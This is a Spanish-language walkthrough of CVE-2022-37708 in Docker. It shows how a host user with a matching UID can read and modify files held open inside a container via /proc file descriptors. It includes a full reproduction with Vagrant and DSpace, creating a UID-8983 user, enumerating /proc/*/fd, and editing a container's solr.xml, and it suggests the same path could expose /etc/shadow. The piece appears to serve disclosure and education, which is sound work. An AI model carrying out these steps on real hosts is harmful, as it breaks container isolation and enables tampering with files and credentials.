
Docker CVE-2022-37708
Docker CVE-2022-37708.
Este exploit se basa en cómo el sistema de archivos UNIX asigna UID y GID a los archivos que Docker comparte entre el Host que ejecuta Docker y el Cliente que se ejecuta dentro del Docker, así como en la naturaleza de cómo funciona la propiedad de los ID de procesos.
Esto se puede hacer prácticamente en cualquier lenguaje que proporcione acceso a descriptores de archivo. El directorio /proc/ expone esto, lo que hace que sea muy fácil de realizar usando comandos de shell.
Considere una computadora que proporciona un servicio de correo electrónico para múltiples usuarios. Este servicio de correo electrónico se ejecuta dentro de una distribución autocontenida que se ejecuta dentro de Docker en el anfitrión. La distribución autocontenida se considera el "sistema cliente". El sistema en el que se ejecuta Docker se considera el "sistema anfitrión". El "sistema anfitrión" tiene diferentes servicios, como "DBUS" para proporcionar un bus de mensajes. Por razones de seguridad, el bus de mensajes "DBUS" se ejecuta como un usuario no privilegiado "messagebus" y tiene UID 123. El usuario "messagebus" no tiene acceso a Docker ni al "sistema cliente". Por razones de seguridad, el "sistema cliente" ejecuta el procesamiento de correo electrónico como un usuario no root "emailservice" y tiene el UID 123.
Observe cómo designé a "messagebus" con un UID de 123 y también a "emailservice" con un UID 123. Esto no es normalmente un problema porque son dos sistemas separados (el "sistema cliente" y el "sistema anfitrión") y sus UIDs y asignaciones de usuarios no tienen relación entre sí.
Si en algún momento "emailservice" abre un correo electrónico aleatorio para procesarlo, "messagebus" tendría la oportunidad de ver y editar ese archivo. Debido a que el usuario "messagebus" está completamente fuera del "sistema cliente", el "sistema cliente" nunca sabría que este archivo potencialmente se está leyendo y escribiendo.
Esto puede ser aún más peligroso si "emailservice" leyera el archivo shadow del sistema para validar alguna combinación de nombre de usuario y contraseña. "messagebus" tendría entonces acceso completo de lectura y escritura al archivo shadow dentro del "sistema cliente" durante el tiempo en que ese archivo esté abierto dentro del "sistema cliente".
Una forma fácil de realizar el exploit es simplemente marcar PID en el directorio /proc/ en busca de archivos pid.
Un script bash simple en un bucle infinito puede buscar periódicamente archivos que se están abriendo.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
Hay dos partes críticas del exploit que dificultan su explotación.
Para el primer caso, un bucle infinito y algo de magia de scripts pueden mitigarlo. Para el segundo caso, una distribución especialmente diseñada o una distribución bien conocida puede eliminar el factor suerte. Si un sistema tiene UIDs predefinidos, entonces debería ser posible predecir qué UID fuera del "sistema cliente" se necesita.
Usando una máquina virtual Vagrant Debian-10 (Buster) para actuar como el "sistema anfitrión" para probar el exploit:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
Dentro del "sistema anfitrión", obtenga la última versión de Docker y siga las instrucciones aquí:
El "sistema cliente" de ejemplo es un producto de código abierto alojado en Github llamado DSpace que proporciona un archivo docker-compose:
Ahora clone DSpace y ejecute docker compose:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
Hay varias imágenes creadas por este proyecto, pero centrémonos en "dspace_solr_data".
Confirmemos que el recorrido de directorios está protegido:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
Veamos el archivo que quiero explotar:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Esto nos dice que nuestro usuario afortunado necesita tener un UID de 8983 para poder explotar esto.
Creemos este usuario afortunado, y llamémoslo "Lightman".
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
Ahora veamos esos archivos:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Para que Lightman explote esto, no solo debe ser propietario de los archivos, sino que algún proceso DENTRO del "sistema cliente" debe tener el archivo abierto.
Con el propósito de probar este exploit, vamos a usar tail -F en el archivo solr.xml dentro del "sistema cliente".
Haga esto en una terminal separada, iniciando sesión en el "sistema anfitrión" como el usuario vagrant.
Identifique el contenedor correcto:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
Ahora conéctese a solr:8.11-slim.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
El usuario solr efectivamente tiene UID 8983.
Ahora abra el archivo solr.xml y manténgalo abierto.
# tail -F /var/solr/data/solr.xml
Excelente, todo está configurado para que este usuario Lightman pueda marcar PID en busca de descriptores de archivo.
En una terminal separada, iniciando sesión en el "sistema anfitrión" como el usuario vagrant, cambie al usuario Lightman.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
Use /proc para marcar todos los descriptores de archivo abiertos:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
Como puede ver, tenemos dos coincidencias:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
Observe que la ruta /var/solr/data/solr.xml realmente no existe en el "sistema anfitrión".
Preste mucha atención a la terminal en la que está ejecutando tail -F mientras hace esto.
Edite el archivo abriéndolo directamente a través de la ruta proc:
# vim /proc/12683/fd/3
Voy al final del archivo, escribo "Hello World" y guardo el cambio. Debería ver, dentro del "sistema cliente", que el archivo también se actualiza.
Lightman ha editado con éxito un archivo al que Lightman no tiene acceso adecuado de lectura/escritura ni tiene acceso de recorrido de directorios. El archivo está realmente dentro de un cliente Docker que se ejecuta bajo una distribución diferente que no tiene un usuario "Lightman".